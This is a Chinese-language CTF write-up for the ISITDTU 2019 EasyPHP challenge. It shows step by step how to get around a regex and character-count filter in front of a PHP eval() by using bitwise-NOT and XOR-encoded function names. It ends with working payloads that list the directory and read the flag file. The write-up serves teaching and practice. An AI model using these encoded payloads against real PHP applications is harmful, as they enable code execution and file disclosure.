<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
看看除了正则过滤掉的,还有哪些字符可以用:
<?php
for($i=0;$i<=127;$i++){
if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){
echo chr($i);
}
}
?>
得到:
!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
接下来分析第二个if:
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
count_chars返回字符串所用字符的信息:
<?php $_ = "shawroooot"; echo strlen(count_chars(strtolower($_), 0x3)); //返回7 ?>
也就是说,第二个if判断输入的值的字符种类不能超过13(0xd)。
因为“~”没有被过滤,尝试用取反拼出phpinfo():
<?php
$str = "p h p i n f o";
$arr1 = explode(' ', $str);
echo "~";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
?>
成功拼出:
(~%8f%97%8f%96%91%99%90)();

接下来查看被ban掉的函数有哪些:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,
没有屏蔽print_r()和scandir(),可以打组合拳对系统目录和文件进行查看,但是还要考虑字符种类不能超过13的这个限制:
<?php
$_ = "print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_), 0x3));
//返回15
?>
这里总共有15个字符,接下来需要考虑的就是看看哪些字符可以被替代的问题。
print_r用异或表示即:
<?php
echo urlencode('print_r' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
//%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff
scandir(.)用异或表示即
<?php
$a = urlencode('scandir' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
$b = urlencode('.' ^ urldecode('%ff'));
echo $a.'^%ff%ff%ff%ff%ff%ff%ff'.'('.$b.'^%ff'.')';
//%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff(%D1^%ff)
合起来qwq:
((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));
查找可以被代替的字符:
a = c^p^r d = s^c^t n = i^s^t
分别和%ff异或:
<?php
$dic = 'c p r s t i';
$arr1 = explode(' ', $dic);
foreach ($arr1 as $key => $value) {
echo "$value = ".urlencode($value ^ urldecode('%ff'))."</br>";
}
得到:
c = %9C
p = %8F
r = %8D
s = %8C
t = %8B
i = %96
因此,print_r(scandir(.))可以表示为:
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
将其传入得到当前目录的文件:
Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )
使用end()可以返回数组的最后一项:

构造readfile(end(scandir(.)))即可。
可以被替代的字符:
r = s^d^e f = c^l^i n = c^l^a
分别和%ff异或:
<?php
$dic = 'd e l a';
$arr1 = explode(' ', $dic);
foreach ($arr1 as $key => $value) {
echo "$value = ".urlencode($value ^ urldecode('%ff'))."</br>";
}
得到:
d = %9B e = %9A l = %93 a = %9E
readfile用异或表示即:
(%8c%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)
end用异或表示即:
(%9A%91%9B)^(%ff%ff%ff)
因此,readfile(end(scandir(.)))正常合起来,又经过替代后可得:
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
太墨迹了这b题,我没了。
⚪参考:
https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/
https://www.neepusec.club/Blog/index.php/Blog/show?pid=[ISITDTU%202019]EasyPHP